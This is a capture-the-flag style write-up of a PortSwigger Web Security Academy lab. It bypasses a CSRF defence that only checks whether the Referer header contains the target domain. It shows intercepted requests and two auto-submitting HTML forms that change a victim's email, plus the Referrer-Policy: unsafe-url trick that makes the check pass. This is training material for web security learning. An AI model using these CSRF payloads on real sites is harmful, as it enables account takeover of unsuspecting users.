Skip to content
Field Value
Platform PortSwigger Web Security Academy
Type CSRF — Broken Referer Validation Bypass
Difficulty Practitioner
Target 0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net
Objective Change the victim's email address by bypassing a weak Referer pattern check

CSRF with Broken Referer Validation — Writeup


Reconnaissance

Initial Observation

Logged in as wiener:peter. Intercepting the email change request:

POST /my-account/change-email HTTP/2
Host: 0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net
Cookie: session=CeR7OreBkm9DweDwOoycg9bUp3p8XdVP
email=teto%40tetomail.com
Screenshot

No CSRF token. Building a basic PoC and viewing it from the exploit server:

<form action="https://0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="[email protected]" />
</form>

<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>

Invalid Referer header — so there is a Referer check after all.

Web — Referer Validation Behavior

Looking at the request in Burp's HTTP history confirms the Referer is being sent:

Screenshot
Screenshot

Deleting it in Repeater — 400 Bad Request: Invalid Referer again.

Screenshot

Unlike the previous lab, an absent Referer also fails. Testing with the target domain set manually:

Referer: https://0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/

302 Found.

Screenshot

Testing with random characters prepended to the domain:

Referer: https://mikumikutetoteto0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/
Screenshot

Also 302 Found. The server isn't checking the exact domain — it's just checking that the Referer value contains the target domain string somewhere. If the pattern matches, the request passes.


Attack Path

Exploit — Abusing the Pattern Match via Referrer-Policy

Since the server just looks for 0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net anywhere in the Referer string, naming the exploit server file after that string would put it in the path — making the full URL contain the target domain as a substring.

Screenshot

Storing it and viewing the exploit while intercepting the request:

Screenshot

The Referer still shows https://exploit-0a2d00b004abaa4881605be2012300b4.exploit-server.net/ — the path isn't being included. This is a browser security behavior: by default, browsers strip the path from the Referer header on cross-origin navigations, only sending the origin. So the filename trick doesn't work out of the box.

The fix is Referrer-Policy: unsafe-url. Adding this as a response header in the exploit server page tells the browser to send the full URL including the path — which means the filename will appear in the Referer and match the server's pattern check.

Adding it to the exploit page head:

<form action="https://0a1e001f04f0aa1b817f5c2200910072.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="[email protected]"/>
</form>

<script>
    document.forms[0].submit();
</script>
Screenshot

Deliver exploit to victim and lab solved :P

Resources